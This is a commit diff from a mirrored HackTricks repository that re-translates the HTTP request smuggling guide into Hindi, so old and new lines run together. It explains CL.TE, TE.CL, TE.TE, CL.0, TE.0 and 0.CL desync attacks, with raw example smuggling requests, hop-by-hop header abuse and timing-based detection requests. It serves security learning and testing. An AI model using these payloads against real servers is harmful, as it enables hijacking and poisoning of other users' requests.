maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/http-request-smuggling/README.md'] to hi

Browse Source
This commit is contained in:
Translator 2025-09-05 11:35:52 +00:00
parent fbde3a3a43
commit 979f3db161
1 changed files with 190 additions and 184 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

374
src/pentesting-web/http-request-smuggling/README.md
View File

@ -3,12 +3,12 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## यह क्या है ## What is
यह vulnerability तब होता है जब **desyncronization** **front-end proxies** और **back-end** server के बीच होता है, जिससे एक **attacker** एक ऐसा HTTP **request** भेज सकता है जिसे **front-end** proxies (load balance/reverse-proxy) द्वारा **एक ही request** के रूप में **interpreted** किया जाता है और **back-end** server द्वारा **2 request** के रूप में।\ यह vulnerability तब होता है जब **desynchronization** front-end proxies और back-end server के बीच ऐसी स्थिति बना देती है कि एक **attacker** एक ऐसा HTTP **request** भेज सके जिसे **front-end** proxies (load balance/reverse-proxy) एक ही request के रूप में interpret करते हैं लेकिन **back-end** server उसे **2 request** के रूप में interpret करता है।\
इससे attacker को यह अनुमति मिलती है कि वह **उसके बाद back-end server को पहुँचने वाले अगले request को modify** कर सके। इसके जरिए कोई user **back-end server को मिलने वाले अगले request को modify** कर सकता है।
### सिद्धांत ### Theory
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616) [**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
@ -23,34 +23,34 @@
> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\ > The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
> Chunked means that large data is sent in a series of chunks > Chunked means that large data is sent in a series of chunks
### वास्तविकता ### Reality
**Front-End** (एक load-balance / Reverse Proxy) _**content-length**_ या _**transfer-encoding**_ header को process करता है और **Back-end** server दूसरे header को process करता है, जिससे दोनों सिस्टम्स के बीच **desyncronization** पैदा हो जाती है।\ Front-End (a load-balance / Reverse Proxy) एक header (अकसर _**Content-Length**_) को process करता है और Back-end server दूसरे header (अकसर _**Transfer-Encoding**_) को process करता है, जिससे दोनों systems के बीच एक **desynchronization** पैदा हो जाती है।\
यह बहुत गंभीर हो सकता है क्योंकि **attacker एक ऐसा request भेज पाएगा** जिसे reverse proxy एक ही request के रूप में देखेगा जबकि **back-end** server उसे **2 अलग request** के रूप में interpret कर सकता है। इस तकनीक का खतरा इस बात में है कि **back-end** server दूसरी injected request को ऐसे ही समझेगा जैसे वह **अगले client** से आई हो और उस client का असली request injected request का हिस्सा बन जाएगा। यह बहुत critical हो सकता है क्योंकि **एक attacker reverse proxy को एक request भेजकर** ऐसा कर सकता है कि back-end server उसे **2 अलग requests** के रूप में interpret कर दे। इस technique का खतरा इस तथ्य में है कि back-end server दूसरी, injected request को उस तरह interpret करेगा जैसे वह **अगले client** से आई हो और उस client का असली request injected request का हिस्सा बन जाएगा।
### विशेषताएँ ### Particularities
याद रखें कि HTTP में **नया लाइन character 2 bytes से बनता है:** याद रखें कि HTTP में **newline character दो bytes से बनता है:**
- **Content-Length**: यह header request के body के bytes की संख्या बताने के लिए **दशमलव संख्या** का उपयोग करता है। body अपेक्षित रूप से आखिरी character पर खत्म होती है, **request के अंत में नया लाइन आवश्यक नहीं है**। - **Content-Length**: यह header request के body के bytes की संख्या बताने के लिए एक **decimal number** का उपयोग करता है। body उम्मीद के मुताबिक अंतिम character पर समाप्त होता है, और **request के अंत में newline आवश्यक नहीं** है।
- **Transfer-Encoding:** यह header body में अगले chunk के byte की संख्या बताने के लिए **हैक्साडेसिमल संख्या** का उपयोग करता है। **chunk** को एक **नया लाइन** के साथ समाप्त होना चाहिए लेकिन यह नया लाइन length indicator में **गिना नहीं जाता**। इस transfer method को `0` size के chunk और उसके बाद **2 new lines** के साथ खत्म करना चाहिए। - **Transfer-Encoding:** यह header body में अगले chunk के आकार को संकेत करने के लिए **hexadecimal number** का उपयोग करता है। हर **chunk** को एक **newline** के साथ समाप्त होना चाहिए लेकिन यह newline length indicator में गिना नहीं जाता। इस transfer method को **size 0 वाला आखिरी chunk और उसके बाद 2 newlines** के साथ खत्म होना चाहिए: `0`
- **Connection**: मेरे अनुभव के अनुसार request Smuggling के पहले request पर **`Connection: keep-alive`** का उपयोग करना recommended है। - **Connection**: मेरे अनुभव के आधार पर request smuggling के पहले request पर **`Connection: keep-alive`** का उपयोग करना recommend किया जाता है।
### Visible - Hidden ### Visible - Hidden
HTTP/1.1 की मुख्य समस्या यह है कि सभी requests एक ही TCP socket में जाते हैं, इसलिए अगर दो systems के बीच request प्राप्ति में कोई अंतर मिलता है तो एक ही request भेजकर उसे final backend (या बीच के सिस्टम) द्वारा 2 अलग request (या उससे अधिक) के रूप में treat कराया जा सकता है। HTTP/1.1 की मुख्य समस्या यह है कि सभी requests एक ही TCP socket में जाते हैं, इसलिए यदि दो systems में requests को process करने में कोई discrepancy है तो संभव है कि एक ही request final backend (या बीच के किसी system) द्वारा दो या अधिक अलग requests के रूप में treat हो जाए।
**[This blog post](https://portswigger.net/research/http1-must-die)** ऐसे नए तरीके प्रस्तावित करता है जिनसे desync attacks को detect किया जा सके जो WAFs द्वारा flag न हों। इसके लिए यह Visible vs Hidden व्यवहार प्रस्तुत करता है। इस मामले में लक्ष्य यह है कि response में ऐसे discrepancies खोजे जाएँ जिनसे desync होने की संभावना हो, बिना वास्तव में exploit किए। **[This blog post](https://portswigger.net/research/http1-must-die)** desync attacks को detect करने के नए तरीके प्रस्तावित करता है जो WAFs द्वारा flag न हों। इसके लिए यह Visible vs Hidden व्यवहार प्रस्तुत करता है। उद्देश्य ऐसे discrepancies की तलाश करना है जो desync का संकेत दें बिना वास्तव में exploit किए।
उदाहरण के लिए, एक सामान्य Host header के साथ और एक `" host"` header के साथ request भेजना — अगर backend इस request की शिकायत करता है (शायद क्योंकि `" host"` का value गलत है) तो इसका मतलब हो सकता है कि front-end ने `" host"` header को नहीं देखा जबकि final backend ने उसे उपयोग किया, जो front-end और backend के बीच desync की संभावना को दर्शाता है। उदाहरण के तौर पर, एक request भेजना जिसमें normal Host header और `" host"` header दोनों हों — अगर backend इस request पर complaint करता है (शायद क्योंकि `" host"` का value गलत है) तो यह संभवतः दर्शाता है कि front-end ने `" host"` header को नहीं देखा पर final backend ने उसे use किया, जो front-end और backend के बीच desync का संकेत हो सकता है।
यह एक **Hidden-Visible discrepancy** होगा। यह एक **Hidden-Visible discrepancy** होगी।
अगर front-end ने `" host"` header को ध्यान में लिया होता और backend ने नहीं, तो यह **Visible-Hidden** स्थिति हो सकती है। यदि front-end ने `" host"` header को देखा होता लेकिन backend ने नहीं, तो यह **Visible-Hidden** स्थिति होती।
उदाहरण के लिए, इससे AWS ALB को front-end और IIS को backend के रूप में use करते समय desyncs का पता चला। जब `"Host: foo/bar"` भेजा गया, ALB ने `400, Server; awselb/2.0` return किया, लेकिन जब `"Host : foo/bar"` भेजा गया, तो उसने `400, Server: Microsoft-HTTPAPI/2.0` return किया, जो संकेत करता है कि backend response भेज रहा था। यह Hidden-Visible (H-V) स्थिति थी। उदाहरण के लिए, इससे AWS ALB (front-end) और IIS (backend) के बीच desyncs खोजे जा सके। जब `"Host: foo/bar"` भेजा गया तो ALB ने `400, Server; awselb/2.0` लौटाया, लेकिन जब `"Host : foo/bar"` भेजा गया तो response `400, Server: Microsoft-HTTPAPI/2.0` मिला, जो दर्शाता है कि backend response भेज रहा था। यह एक Hidden-Visible (H-V) स्थिति थी।
ध्यान दें कि यह स्थिति AWS में ठीक नहीं की गई है, लेकिन इसे `routing.http.drop_invalid_header_fields.enabled` और `routing.http.desync_mitigation_mode = strictest` सेट करके रोका जा सकता है। ध्यान दें कि यह स्थिति AWS में स्वतः ठीक नहीं की गई है, पर इसे रोका जा सकता है `routing.http.drop_invalid_header_fields.enabled` और `routing.http.desync_mitigation_mode = strictest` सेट करके।
## Basic Examples ## Basic Examples
@ -58,9 +58,9 @@ HTTP/1.1 की मुख्य समस्या यह है कि सभ
> [!TIP] > [!TIP]
> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths. > When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
HTTP request smuggling attacks ऐसे ambiguous requests भेजकर तैयार किए जाते हैं जो front-end और back-end servers द्वारा `Content-Length` (CL) और `Transfer-Encoding` (TE) headers की व्याख्या में अंतर का फायदा उठाते हैं। ये attacks मुख्यतः **CL.TE**, **TE.CL**, और **TE.TE** के रूप में प्रकट होते हैं। हर प्रकार यह दर्शाता है कि front-end और back-end servers इन headers को किस तरह प्राथमिकता देते हैं। vulnerabilities तब उत्पन्न होती हैं जब servers एक ही request को अलग-अलग तरीकों से process करते हैं, जिससे अप्रत्याशित और संभवतः malicious परिणाम होते हैं। HTTP request smuggling attacks ambiguous requests भेजकर किए जाते हैं जो front-end और back-end servers द्वारा `Content-Length` (CL) और `Transfer-Encoding` (TE) headers की अलग-अलग व्याख्या का फायदा उठाते हैं। ये attacks मुख्यतः **CL.TE**, **TE.CL**, और **TE.TE** के रूप में दिखाई देते हैं। हर प्रकार यह दर्शाता है कि front-end और back-end servers इन headers को किस तरह प्राथमिकता देते हैं। vulnerabilities तब पैदा होती हैं जब servers एक ही request को अलग-अलग तरीके से process करते हैं, जिससे अनपेक्षित और potentially malicious परिणाम हो सकते हैं।
### Vulnerability Types के मूल उदाहरण ### Basic Examples of Vulnerability Types
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg) ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
@ -69,13 +69,13 @@ HTTP request smuggling attacks ऐसे ambiguous requests भेजकर त
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End) #### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
- **Front-End (CL):** अनुरोध को `Content-Length` header के आधार पर process करता है। - **Front-End (CL):** `Content-Length` header के आधार पर request को process करता है।
- **Back-End (TE):** अनुरोध को `Transfer-Encoding` header के आधार पर process करता है। - **Back-End (TE):** `Transfer-Encoding` header के आधार पर request को process करता है।
- **Attack Scenario:** - **Attack Scenario:**
- attacker ऐसा request भेजता है जहाँ `Content-Length` header का value वास्तविक content length से मेल नहीं खाता। - attacker एक ऐसा request भेजता है जहाँ `Content-Length` header का value वास्तविक content length से मेल नहीं खाता।
- front-end server `Content-Length` value के आधार पर पूरा request back-end को forward कर देता है। - front-end server `Content-Length` value के आधार पर पूरा request back-end को forward कर देता है।
- back-end server `Transfer-Encoding: chunked` header के कारण request को chunked के रूप में process करता है, और शेष data को एक अलग, subsequent request के रूप में interpret कर लेता है। - back-end server `Transfer-Encoding: chunked` header के कारण request को chunked के रूप में process करता है और शेष data को एक अलग, subsequent request के रूप में interpret कर लेता है।
- **Example:** - **Example:**
``` ```
@ -93,13 +93,13 @@ Foo: x
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End) #### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
- **Front-End (TE):** अनुरोध को `Transfer-Encoding` header के आधार पर process करता है। - **Front-End (TE):** `Transfer-Encoding` header के आधार पर request को process करता है।
- **Back-End (CL):** अनुरोध को `Content-Length` header के आधार पर process करता है। - **Back-End (CL):** `Content-Length` header के आधार पर request को process करता है।
- **Attack Scenario:** - **Attack Scenario:**
- attacker एक chunked request भेजता है जहाँ chunk size (`7b`) और वास्तविक content length (`Content-Length: 4`) मेल नहीं खाते। - attacker एक chunked request भेजता है जहाँ chunk size (`7b`) और वास्तविक content length (`Content-Length: 4`) मेल नहीं खाते।
- front-end server `Transfer-Encoding` का सम्मान करते हुए पूरा request back-end को भेज देता है। - front-end server, `Transfer-Encoding` का सम्मान करते हुए, पूरा request back-end को forward कर देता है।
- back-end server `Content-Length` का पालन करते हुए केवल request के शुरुआती भाग (`7b` bytes) को process करता है, और बाकी को एक unintended subsequent request का हिस्सा छोड़ देता है। - back-end server केवल request के प्रारंभिक हिस्से (`7b` bytes) को process करता है, और बाकी हिस्सा unintended subsequent request का हिस्सा बन जाता है।
- **Example:** - **Example:**
``` ```
@ -122,12 +122,12 @@ x=
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation) #### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
- **Servers:** दोनों `Transfer-Encoding` का समर्थन करते हैं, लेकिन किसी एक को obfuscation करके इसे ignore करवा दिया जा सकता है। - **Servers:** दोनों `Transfer-Encoding` को support करते हैं, पर एक को obfuscation से चकमा दिया जा सकता है।
- **Attack Scenario:** - **Attack Scenario:**
- attacker obfuscated `Transfer-Encoding` headers के साथ request भेजता है। - attacker obfuscated `Transfer-Encoding` headers के साथ request भेजता है।
- इस बात पर निर्भर करता है कि कौन सा server (front-end या back-end) obfuscation को पहचानने में विफल रहता है, CL.TE या TE.CL vulnerability exploit की जा सकती है। - यह निर्भर करेगा कि किस server (front-end या back-end) obfuscation को पहचानने में विफल रहता है; उससे CL.TE या TE.CL vulnerability exploit की जा सकती है।
- request का वह भाग जो एक server द्वारा unprocessed रहता है, subsequent request का हिस्सा बन जाता है, जिससे smuggling होता है। - जिस हिस्से को एक server ने process नहीं किया होता वह subsequent request का हिस्सा बन जाता है, जिससे smuggling होता है।
- **Example:** - **Example:**
``` ```
@ -150,7 +150,7 @@ Transfer-Encoding
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)** #### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
- दोनों servers केवल `Content-Length` header के आधार पर request को process करते हैं। - दोनों servers केवल `Content-Length` header के आधार पर request को process करते हैं।
- यह स्थिति आम तौर पर smuggling की ओर नहीं ले जाती, क्योंकि दोनों servers के interpret करने में alignment होता है। - यह scenario आमतौर पर smuggling की ओर नहीं ले जाता, क्योंकि दोनों servers में length की व्याख्या aligned होती है।
- **Example:** - **Example:**
``` ```
@ -164,8 +164,8 @@ Normal Request
#### **CL.0 Scenario** #### **CL.0 Scenario**
- उन स्थितियों को दर्शाता है जहाँ `Content-Length` header मौजूद है और उसका मान शून्य के अलावा कुछ है, जो बताता है कि request body में content मौजूद है। back-end `Content-Length` header को ignore करता है (जिसे 0 माना जाता है), लेकिन front-end उसे parse करता है। - ऐसे परिदृश्यों को संदर्भित करता है जहाँ `Content-Length` header मौजूद है और इसका value zero के अलावा कुछ है, जो संकेत देता है कि request body में content है। back-end `Content-Length` header को ignore कर सकता है (जिसे 0 माना जाता है), पर front-end इसे parse करता है।
- यह smuggling attacks को समझने और बनाने में महत्वपूर्ण है, क्योंकि यह निर्धारित करता है कि servers request के अंत को कैसे पहचानते हैं। - यह smuggling attacks समझने और craft करने में महत्वपूर्ण है, क्योंकि यह तय करता है कि servers request के अंत को कैसे निर्धारित करते हैं।
- **Example:** - **Example:**
``` ```
@ -179,7 +179,7 @@ Non-Empty Body
#### TE.0 Scenario #### TE.0 Scenario
- पहले वाले जैसा ही लेकिन TE का उपयोग करते हुए - पिछले वाले जैसा ही परिदृश्य परन्तु TE का उपयोग करते हुए
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) - Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Example**: - **Example**:
``` ```
@ -201,7 +201,7 @@ EMPTY_LINE_HERE
``` ```
#### `0.CL` परिदृश्य #### `0.CL` परिदृश्य
एक `0.CL` स्थिति में एक अनुरोध भेजा जाता है जिसमें Content-Length इस तरह होता है: एक `0.CL` स्थिति में, एक request को इस तरह के Content-Length के साथ भेजा जाता है:
``` ```
GET /Logon HTTP/1.1 GET /Logon HTTP/1.1
Host: <redacted> Host: <redacted>
@ -211,47 +211,46 @@ Content-Length:
GET /404 HTTP/1.1 GET /404 HTTP/1.1
X: Y X: Y
``` ```
और front-end `Content-Length` को ध्यान में नहीं रखता, इसलिए यह केवल पहले request को backend को भेजता है (उदाहरण में 7 तक)। हालाँकि, backend `Content-Length` देखता है और एक body के लिए इंतज़ार करता है जो कभी नहीं आती क्योंकि front-end पहले ही response का इंतज़ार कर रहा होता है। और front-end `Content-Length` को ध्यान में नहीं रखता, इसलिए यह केवल पहला request backend को भेजता है (उदाहरण में 7 तक)। हालांकि, backend `Content-Length` देखता है और उस body के लिए इंतज़ार करता है जो कभी नहीं आता क्योंकि front-end पहले से ही response के लिए इंतज़ार कर रहा होता है।
हालाँकि, अगर ऐसा कोई request backend को भेजा जा सकता है जिसका response request के body प्राप्त होने से पहले ही आ जाता है, तो यह deadlock नहीं होगा। उदाहरण के लिए IIS में यह `/con` जैसे forbidden शब्दों पर request भेजने से होता है (देखें [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), इस तरह, आरंभिक request सीधे respond किया जाएगा और दूसरा request victim के request को इस प्रकार रखेगा: हालांकि, यदि ऐसा कोई request हो जिसे backend को भेजा जा सकता है और जो request body मिलने से पहले ही respond कर दिया जाता है, तो यह deadlock नहीं होगा। उदाहरण के लिए IIS में यह `/con` जैसे forbidden words को भेजने पर होता है (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), इस तरह initial request सीधे respond कर दिया जाएगा और दूसरा request victim के request को contain करेगा जैसे:
``` ```
GET / HTTP/1.1 GET / HTTP/1.1
X: yGET /victim HTTP/1.1 X: yGET /victim HTTP/1.1
Host: <redacted> Host: <redacted>
``` ```
यह desync पैदा करने के काम आता है, पर अब तक इसका कोई प्रभाव नहीं पड़ा है। This is useful to cause a desync, but it won't have any impact until now.
हालाँकि, यह पोस्ट इस समस्या का समाधान पेश करती है by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**. However, the post offers a solution for this by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
#### Breaking the web server #### वेब सर्वर को तोड़ना
यह तकनीक उन परिस्थितियों में भी उपयोगी है जहाँ प्रारंभिक HTTP डेटा पढ़ते समय किसी वेब सर्वर को तोड़ा जाना संभव हो पर connection बंद न किया जाए। इस तरह, HTTP request का **body** अगले **HTTP request** के रूप में माना जाएगा। यह तकनीक उन परिदृश्यों में भी उपयोगी है जहाँ प्रारंभिक HTTP डेटा पढ़ते समय web server को break करना संभव हो लेकिन connection बंद किए बिना। इस तरह, HTTP request का **body** अगले **HTTP request** के रूप में माना जाएगा।
उदाहरण के लिए, जैसा कि [**this writeup**](https://mizu.re/post/twisty-python) में समझाया गया है, Werkzeug में कुछ **Unicode** characters भेजना संभव था और इससे सर्वर **break** हो सकता था। हालाँकि, यदि HTTP connection header **`Connection: keep-alive`** के साथ बनाया गया था, तो request का body पढ़ा नहीं जाएगा और connection खुला रहेगा, इसलिए request का **body** अगले **HTTP request** के रूप में माना जाएगा। उदाहरण के लिए, जैसा कि [**this writeup**](https://mizu.re/post/twisty-python) में समझाया गया है, Werkzeug में कुछ **Unicode** characters भेजना संभव था और इससे सर्वर **break** हो जाता था। हालाँकि, अगर HTTP connection हेडर **`Connection: keep-alive`** के साथ बनाया गया था, तो request का body पढ़ा नहीं जाएगा और connection खुला रहेगा, इसलिए request का **body** अगले **HTTP request** के रूप में माना जाएगा।
#### Forcing via hop-by-hop headers #### Forcing via hop-by-hop headers
hop-by-hop headers का दुरुपयोग करके आप proxy को संकेत दे सकते हैं कि header Content-Length या Transfer-Encoding को **delete** कर दे ताकि HTTP request smuggling को दुरुपयोग किया जा सके। hop-by-hop headers का दुरुपयोग करके आप proxy को संकेत दे सकते हैं कि वह header **Content-Length** या **Transfer-Encoding** को delete कर दे ताकि a **HTTP request smuggling** को abuse किया जा सके।
``` ```
Connection: Content-Length Connection: Content-Length
``` ```
For **more information about hop-by-hop headers** visit: **hop-by-hop headers के बारे में अधिक जानकारी** के लिए देखें:
{{#ref}} {{#ref}}
../abusing-hop-by-hop-headers.md ../abusing-hop-by-hop-headers.md
{{#endref}} {{#endref}}
## HTTP Request Smuggling की खोज ## HTTP Request Smuggling का पता लगाना
Identifying HTTP request smuggling vulnerabilities अक्सर timing techniques के उपयोग से पाया जा सकता है, जो यह देखने पर निर्भर करते हैं कि manipulated requests के जवाब में server को रिस्पॉन्स देने में कितना समय लगता है। ये तकनीकें विशेष रूप से CL.TE और TE.CL कमजोरियों का पता लगाने में उपयोगी हैं। इन तरीकों के अलावा, ऐसी कमजोरियाँ खोजने के लिए अन्य रणनीतियाँ और टूल्स भी उपयोग किए जा सकते हैं: HTTP request smuggling vulnerabilities की पहचान अक्सर timing techniques का उपयोग करके की जा सकती है, जो यह देखने पर निर्भर करती हैं कि manipulated requests के लिए server को response देने में कितना समय लगता है। ये techniques विशेष रूप से CL.TE और TE.CL vulnerabilities का पता लगाने में उपयोगी हैं। इन तरीकों के अलावा, ऐसी vulnerabilities खोजने के लिए अन्य रणनीतियाँ और tools भी उपयोग किए जा सकते हैं:
### Timing Techniques का उपयोग करके CL.TE कमजोरियों का पता लगाना ### Finding CL.TE Vulnerabilities Using Timing Techniques
- **तरीका:** - **Method:**
- एक ऐसा request भेजें जो, यदि application vulnerable है, तो back-end server को अतिरिक्त डेटा के लिए प्रतीक्षा करने का कारण बने। - ऐसा request भेजें जो, यदि application vulnerable है, तो back-end server को अतिरिक्त डेटा के लिए इंतज़ार कराएगा।
- **उदाहरण:** - **Example:**
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
@ -265,20 +264,20 @@ A
0 0
``` ```
- **अवलोकन:** - **Observation:**
- Front-end server `Content-Length` के आधार पर request को प्रोसेस करता है और संदेश को समय से पहले काट देता है। - front-end server `Content-Length` के आधार पर request को process करता है और message को समय से पहले काट देता है।
- Back-end server, जो chunked message की उम्मीद कर रहा होता है, अगले chunk के लिए प्रतीक्षा करता है जो कभी नहीं आता, जिससे विलंब होता है। - back-end server, जो chunked message की उम्मीद कर रहा होता है, अगले chunk का इंतज़ार करता है जो कभी नहीं आता, जिससे delay होता है।
- **संकेतक:** - **Indicators:**
- रिस्पॉन्स में timeouts या लंबी देरी। - response में timeouts या लंबे विलंब।
- Back-end server से 400 Bad Request error प्राप्त होना, कभी-कभी विस्तृत server जानकारी के साथ। - कभी-कभी back-end server से 400 Bad Request error मिलना, जिसमें विस्तृत server जानकारी हो सकती है।
### Timing Techniques का उपयोग करके TE.CL कमजोरियों का पता लगाना ### Finding TE.CL Vulnerabilities Using Timing Techniques
- **तरीका:** - **Method:**
- एक ऐसा request भेजें जो, यदि application vulnerable है, तो back-end server को अतिरिक्त डेटा के लिए प्रतीक्षा करने का कारण बने। - ऐसा request भेजें जो, यदि application vulnerable है, तो back-end server को अतिरिक्त डेटा के लिए इंतज़ार कराएगा।
- **उदाहरण:** - **Example:**
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
@ -291,24 +290,24 @@ Content-Length: 6
X X
``` ```
- **अवलोकन:** - **Observation:**
- Front-end server `Transfer-Encoding` के आधार पर request को प्रोसेस करता है और पूरा संदेश फॉरवर्ड करता है। - front-end server `Transfer-Encoding` के आधार पर request को process करता है और पूरा message forward कर देता है।
- Back-end server, जो `Content-Length` के आधार पर संदेश की उम्मीद कर रहा होता है, अतिरिक्त डेटा के लिए प्रतीक्षा करता है जो कभी नहीं आता, जिससे विलंब होता है। - back-end server, जो `Content-Length` के आधार पर message की उम्मीद कर रहा होता है, अतिरिक्त डेटा का इंतज़ार करता है जो कभी नहीं आता, जिससे delay होता है।
### कमजोरियाँ खोजने के अन्य तरीके ### Other Methods to Find Vulnerabilities
- **Differential Response Analysis:** - **Differential Response Analysis:**
- request के थोड़े-बहुत बदले हुए वर्शन भेजें और देखें कि क्या server responses किसी अप्रत्याशित तरीके से भिन्न हैं, जो parsing में अंतर को इंगित कर सकता है। - request के थोड़े बदलते हुए versions भेजें और देखें कि क्या server responses अनपेक्षित तरीके से अलग होते हैं, जो parsing discrepancy का संकेत देते हैं।
- **Using Automated Tools:** - **Using Automated Tools:**
- Burp Suite's 'HTTP Request Smuggler' extension जैसे टूल्स विभिन्न प्रकार के ambiguous requests भेजकर और responses का विश्लेषण करके स्वचालित रूप से इन कमजोरियों का परीक्षण कर सकते हैं। - Tools जैसे Burp Suite का 'HTTP Request Smuggler' extension स्वतः इन vulnerabilities के लिए विभिन्न प्रकार के ambiguous requests भेजकर और responses का विश्लेषण करके परीक्षण कर सकता है।
- **Content-Length Variance Tests:** - **Content-Length Variance Tests:**
- ऐसे requests भेजें जिनमें `Content-Length` मान वास्तविक सामग्री की लंबाई से मेल नहीं खाते और देखें कि server ऐसे mismatches को कैसे हैंडल करता है। - ऐसे requests भेजें जिनमें `Content-Length` के मान वास्तविक content length से मेल नहीं खाते और देखें कि server ऐसे mismatches को कैसे संभालता है।
- **Transfer-Encoding Variance Tests:** - **Transfer-Encoding Variance Tests:**
- obfuscated या malformed `Transfer-Encoding` headers के साथ requests भेजें और ध्यान दें कि front-end और back-end servers ऐसे हेरफेर पर कैसे अलग-अलग प्रतिक्रिया करते हैं। - obfuscated या malformed `Transfer-Encoding` headers वाले requests भेजें और देखें कि front-end और back-end servers उन manipulations पर कैसे भिन्न व्यवहार करते हैं।
### The `Expect: 100-continue` header ### The `Expect: 100-continue` header
देखें कि यह header http desync exploit करने में कैसे मदद कर सकता है: देखें कि यह `Expect: 100-continue` header http desync को exploit करने में कैसे मदद कर सकता है:
{{#ref}} {{#ref}}
../../network-services-pentesting/pentesting-web/special-http-headers.md ../../network-services-pentesting/pentesting-web/special-http-headers.md
@ -316,25 +315,25 @@ X
### HTTP Request Smuggling Vulnerability Testing ### HTTP Request Smuggling Vulnerability Testing
Timing techniques की प्रभावशीलता की पुष्टि करने के बाद, यह सत्यापित करना महत्वपूर्ण है कि क्या client requests में हेरफेर किया जा सकता है। एक सीधा तरीका यह है कि अपने requests को poison करने का प्रयास करें, उदाहरण के लिए `/` पर की गई request को 404 response दिलवाना। पहले चर्चा किए गए `CL.TE` और `TE.CL` उदाहरण [Basic Examples](#basic-examples) में दिखाते हैं कि कैसे एक client के request को poison करके 404 response उत्पन्न किया जा सकता है, भले ही client किसी अन्य resource तक पहुंचने का प्रयास कर रहा हो। Timing techniques की प्रभावशीलता की पुष्टि करने के बाद, यह सत्यापित करना महत्वपूर्ण है कि client requests को manipulate किया जा सकता है या नहीं। एक सरल विधि यह है कि आप अपने requests को poisoning करने का प्रयास करें, उदाहरण के लिए, `/` के लिए भेजा गया request 404 response दे। पहले चर्चा किए गए `CL.TE` और `TE.CL` examples [Basic Examples](#basic-examples) में दिखाते हैं कि कैसे एक client's request को poison करके 404 response प्राप्त किया जा सकता है, भले ही client किसी अलग resource को access करने का प्रयास कर रहा हो।
**Key Considerations** मुख्य विचार
जब आप दूसरों के requests के साथ हस्तक्षेप करके request smuggling के लिए परीक्षण कर रहे हों, तो ध्यान रखें: जब आप अन्य requests में हस्तक्षेप करके request smuggling vulnerabilities का परीक्षण कर रहे हों, तो ध्यान में रखें:
- **Distinct Network Connections:** "attack" और "normal" requests को अलग network connections पर भेजना चाहिए। दोनों के लिए एक ही connection का उपयोग करना vulnerability की उपस्थिति को प्रमाणित नहीं करता। - **Distinct Network Connections:** "attack" और "normal" requests को अलग network connections पर भेजा जाना चाहिए। दोनों के लिए वही connection उपयोग करने से vulnerability की उपस्थिति मान्य नहीं होती।
- **Consistent URL and Parameters:** दोनों requests के लिए समान URLs और parameter names का उपयोग करने का लक्ष्य रखें। आधुनिक applications अक्सर URL और parameters के आधार पर requests को विशिष्ट back-end servers पर route करते हैं। इन्हें मिलान करने से दोनों requests के एक ही server द्वारा प्रोसेस होने की संभावना बढ़ती है, जो सफल attack के लिए अनिवार्य है। - **Consistent URL and Parameters:** दोनों requests के लिए समान URLs और parameter names उपयोग करने का प्रयास करें। आधुनिक applications अक्सर URL और parameters के आधार पर requests को specific back-end servers तक route करते हैं। इन्हें मिलाने से संभावना बढ़ती है कि दोनों requests एक ही server द्वारा process हों, जो successful attack के लिए आवश्यक है।
- **Timing and Racing Conditions:** "normal" request, जिसे "attack" request के हस्तक्षेप का पता लगाने के लिए भेजा जाता है, अन्य concurrent application requests के खिलाफ race में होता है। इसलिए "attack" request के तुरंत बाद "normal" request भेजें। व्यस्त applications के मामले में निर्णायक पुष्टि के लिए कई प्रयासों की आवश्यकता हो सकती है। - **Timing and Racing Conditions:** "normal" request, जिसे "attack" request से interference पता लगाने के लिए भेजा गया है, अन्य concurrent application requests के साथ प्रतिस्पर्धा करता है। इसलिए "attack" request के तुरंत बाद "normal" request भेजें। व्यस्त applications में conclusive पुष्टि के लिए कई प्रयासों की आवश्यकता पड़ सकती है।
